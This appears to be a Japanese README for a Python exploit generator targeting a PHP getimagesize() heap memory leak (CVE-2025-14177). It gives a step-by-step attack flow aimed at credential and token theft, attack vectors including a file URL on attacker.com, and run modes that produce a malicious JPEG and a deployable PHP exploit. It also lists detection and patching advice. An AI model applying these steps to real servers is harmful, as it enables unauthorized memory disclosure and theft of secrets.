
PHP getimagesize() CVE-2025-14177 - ヒープメモリリークエクスプロイトジェネレータ Python による完全に機能するエクスプロイトチェーン
getimagesize() ヒープメモリリーク許可されたペネトレーションテストおよびセキュリティ研究にのみ使用してください。
| フィールド | 値 |
|---|---|
| CVE | CVE-2025-14177 |
| CWE | CWE-524 (Use of Uninitialized Resource) |
| 深刻度 | 中程度 — CVSS 6.3 |
| 根本原因 | php_read_stream_all_chunks() は連続するチャンクを buffer[0] に書き込み、以前のデータを未初期化のヒープメモリで上書きします |
getimagesize("php://filter/.../resource=malicious.jpg", $info)
└─ php_read_stream_all_chunks()
├─ Chunk 1 (8KB) → memcpy(buffer+0, chunk1, 8192)
├─ Chunk 2 (8KB) → memcpy(buffer+0, chunk2, 8192) ← overwrites!
└─ $info['APP1'] = chunk2 + uninitialized heap garbage
悪意のあるJPEGは、マルチチャンク読み取りパスを強制するために、特大のAPP1マーカー(16KB)を保持します。返された APP1 フィールドは、資格情報、トークン、セッションデータ、ASLRポインタを含む可能性のあるヒープメモリを漏洩させます。
[1] RECON Find PHP app exposing getimagesize() output (APP1 field)
[2] PREP Craft malicious.jpg (APP1 = 16KB)
[3] EXPLOIT Upload → trigger getimagesize($file, $info)
[4] EXTRACT Parse $info['APP1'] for leaked heap data
[5] IMPACT Credential theft / token extraction / ASLR bypass
python3 CVE-2025-14177.py [mode]
./exploit_output/)exploit_output/
├── malicious.jpg # crafted JPEG payload (APP1 = 16KB)
├── exploit_standalone.php # deployable PHP exploit
├── exploit_report.json # full analysis report
└── test_cases.json # 3 test scenarios
| ケース | ベクトル |
|---|---|
| 1 | Direct upload → getimagesize($_FILES[...], $info) |
| 2 | Stream filter + LFI (php://filter/read=.../resource=...) |
| 3 | Remote image URL (/preview.php?url=attacker.com/malicious.jpg) |
$info 配列内の異常なメモリパターンphp://filter ラッパーを使用した反復的な getimagesize() 呼び出しPHPをパッチ適用済みバージョンにアップグレードしてください。回避策はありません——パッチが必要です。
php -v # verify version
アップグレードがブロックされている場合:クライアントに返す前に $info から APP1 を除去するか、allow_url_fopen で php://filter を無効にしてください。
このツールは許可されたセキュリティテストのみを目的としています。所有していない、または明示的な書面による許可を得ていないシステムに対する不正使用は違法です。
| モード | アクション |
|---|
demo | 完全なエクスプロイトデモ(デフォルト) |
gen | 悪意のあるJPEG + PHPエクスプロイトコードを生成 |
test | テストケースJSONを生成 |
analyze | JPEGを生成し、シミュレートしてリークを分析 |
flow | 攻撃の流れ図を表示 |